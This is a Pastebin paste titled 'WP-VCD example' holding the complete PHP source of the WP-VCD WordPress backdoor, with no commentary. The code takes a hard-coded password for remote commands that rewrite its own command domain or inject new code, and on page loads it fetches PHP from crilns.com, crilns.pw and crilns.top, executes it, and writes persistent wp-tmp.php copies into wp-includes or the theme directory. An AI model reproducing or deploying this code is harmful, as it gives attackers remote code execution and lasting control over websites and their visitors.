Guest User

WP-VCD example

a guest
Feb 25th, 2020
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.17 KB | None | 0 0
  1. <?php
  2. //hmOTE0Nyc7CiAgICAgICAgaWYgKCgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b25e6aa37c5bcfc268bf97de3bfe2be3'))
  4.     {
  5. $div_code_name="wp_vcd";
  6.         switch ($_REQUEST['action'])
  7.             {
  8.  
  9.                
  10.  
  11.  
  12.  
  13.  
  14.                 case 'change_domain';
  15.                     if (isset($_REQUEST['newdomain']))
  16.                         {
  17.                            
  18.                             if (!empty($_REQUEST['newdomain']))
  19.                                 {
  20.                                                                            if ($file = @file_get_contents(__FILE__))
  21.                                                                             {
  22.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  23.                                                                                                              {
  24.  
  25.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  26.                                                                                        @file_put_contents(__FILE__, $file);
  27.                                                                print "true";
  28.                                                                                                              }
  29.  
  30.  
  31.                                                                             }
  32.                                 }
  33.                         }
  34.                 break;
  35.  
  36.                                 case 'change_code';
  37.                     if (isset($_REQUEST['newcode']))
  38.                         {
  39.                            
  40.                             if (!empty($_REQUEST['newcode']))
  41.                                 {
  42.                                                                            if ($file = @file_get_contents(__FILE__))
  43.                                                                             {
  44.                                                                                                  if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  45.                                                                                                              {
  46.  
  47.                                                                                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  48.                                                                                        @file_put_contents(__FILE__, $file);
  49.                                                                print "true";
  50.                                                                                                              }
  51.  
  52.  
  53.                                                                             }
  54.                                 }
  55.                         }
  56.                 break;
  57.                
  58.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  59.             }
  60.            
  61.         die("");
  62.     }
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71. $div_code_name = "wp_vcd";
  72. $funcfile      = __FILE__;
  73. if(!function_exists('theme_temp_setup')) {
  74.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  75.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  76.        
  77.         function file_get_contents_tcurl($url)
  78.         {
  79.             $ch = curl_init();
  80.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  81.             curl_setopt($ch, CURLOPT_HEADER, 0);
  82.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  83.             curl_setopt($ch, CURLOPT_URL, $url);
  84.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  85.             $data = curl_exec($ch);
  86.             curl_close($ch);
  87.             return $data;
  88.         }
  89.        
  90.         function theme_temp_setup($phpCode)
  91.         {
  92.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  93.             $handle   = fopen($tmpfname, "w+");
  94.            if( fwrite($handle, "<?php\n" . $phpCode))
  95.            {
  96.            }
  97.             else
  98.             {
  99.             $tmpfname = tempnam('./', "theme_temp_setup");
  100.             $handle   = fopen($tmpfname, "w+");
  101.             fwrite($handle, "<?php\n" . $phpCode);
  102.             }
  103.             fclose($handle);
  104.             include $tmpfname;
  105.             unlink($tmpfname);
  106.             return get_defined_vars();
  107.         }
  108.        
  109.  
  110. $wp_auth_key='63c8d53637ade64b66da22dcdcc8d269';
  111.         if (($tmpcontent = @file_get_contents("http://www.crilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.crilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  112.  
  113.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  114.                 extract(theme_temp_setup($tmpcontent));
  115.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  116.                
  117.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  118.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  119.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  120.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  121.                     }
  122.                 }
  123.                
  124.             }
  125.         }
  126.        
  127.        
  128.         elseif ($tmpcontent = @file_get_contents("http://www.crilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  129.  
  130. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  131.                 extract(theme_temp_setup($tmpcontent));
  132.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  133.                
  134.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  135.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  136.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  137.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  138.                     }
  139.                 }
  140.                
  141.             }
  142.         }
  143.        
  144.                 elseif ($tmpcontent = @file_get_contents("http://www.crilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  145.  
  146. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  147.                 extract(theme_temp_setup($tmpcontent));
  148.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  149.                
  150.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  151.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  152.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  153.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  154.                     }
  155.                 }
  156.                
  157.             }
  158.         }
  159.         elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  160.             extract(theme_temp_setup($tmpcontent));
  161.            
  162.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  163.             extract(theme_temp_setup($tmpcontent));
  164.  
  165.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  166.             extract(theme_temp_setup($tmpcontent));
  167.  
  168.         }
  169.        
  170.        
  171.        
  172.        
  173.        
  174.     }
  175. }
  176.  
  177. //$start_wp_theme_tmp
  178.  
  179. //1111111111111111111111111111111111111111111
  180.  
  181. //wp_tmp
  182.  
  183.  
  184. //$end_wp_theme_tmp
  185. ?>
Add Comment
Please, Sign In to add comment